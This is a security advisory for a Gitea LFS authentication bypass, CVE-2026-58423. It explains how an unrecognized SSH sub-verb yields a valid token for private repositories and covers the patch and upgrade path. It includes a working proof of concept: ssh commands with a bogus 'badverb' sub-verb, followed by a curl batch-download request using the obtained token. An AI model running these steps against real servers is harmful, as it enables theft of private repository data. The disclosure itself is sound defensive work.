CVE-2026-58423: Gitea LFS SSH Sub-Verb Authentication Bypass
Any registered Gitea user can pass a nonsense word instead of 'upload' or 'download' over SSH to trick the server into handing out a valid LFS token for private repositories they have no access to.
The problem
In cmd/serv.go, getAccessMode switches on the LFS sub-verb (upload/download). An unrecognized sub-verb falls through to return perm.AccessModeNone (value 0) without erroring.
In production mode, AccessModeNone is passed to the permission check in routers/private/serv.go. For private repos, the guard block is entered but the inner check userMode < mode becomes userMode < 0, which is always false. Access is granted and a valid LFS JWT token is returned with Op: "badverb".
The HTTP LFS handler only validates Op for write operations (claims.Op != "upload"). Download paths skip Op validation entirely, so the attacker's token is accepted for all LFS read requests. Any SSH-enabled account on the instance can exfiltrate LFS objects from any private repository.
Proof of concept
A working proof-of-concept for CVE-2026-58423 in code.gitea.io/gitea, with the exact payload below.
# Step 1: confirm normal access is denied
ssh git@gitea-instance "git-lfs-authenticate owner/private-repo.git download"
# -> "User: attacker is not authorized to read owner/private-repo."
# Step 2: trigger bypass with an arbitrary unknown sub-verb
ssh git@gitea-instance "git-lfs-authenticate owner/private-repo.git badverb"
# -> {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/owner/private-repo.git/info/lfs"}
# Step 3: use the stolen token to batch-download LFS objects
curl -s -X POST "https://gitea-instance/owner/private-repo.git/info/lfs/objects/batch" \
-H "Content-Type: application/vnd.git-lfs+json" \
-H "Accept: application/vnd.git-lfs+json" \
-H "Authorization: Bearer eyJ..." \
-d '{"operation":"download","objects":[{"oid":"<object-oid>","size":<size>}]}'
# -> returns signed download URL for the private LFS objectThe root cause is a missing error path. Before the fix, an unknown sub-verb silently returned AccessModeNone (integer 0). The downstream permission check then evaluated userMode < 0, which can never be true for any valid user permission level, so the check was always bypassed.
The patch (PR #38008, commit 42513398) replaces the default fall-through with a hard fail() call that terminates the request. Separately, the HTTP LFS token validator already skipped Op verification for downloads, making the bypass fully exploitable end-to-end once a token was issued.
This is CWE-287 (Improper Authentication): the server issued credentials without completing a real authorization decision.
The fix
Upgrade to Gitea 1.26.3 (prefer 1.26.4, which fixes an unrelated regression in 1.26.3). The fix is in PR #38008 / commit 42513398: the default branch of the LFS sub-verb switch now calls fail(), returning an error to the client instead of AccessModeNone.
No configuration changes are required; the fix is purely in the permission-check code path.
Reported by Tomer-PL.
Related research
- highCVE-2026-56654CVE-2026-56654: Gitea Privilege Escalation via Access Token Scope Bypass
- high · 7.5CVE-2026-58419CVE-2026-58419: Gitea Notification API Private Issue Metadata Leak After Access Revocation
- highCVE-2026-58422CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
- high · 7.1CVE-2026-20779CVE-2026-20779: Gitea TOTP Passcode Capture-Replay via Basic-Auth and TOCTOU Race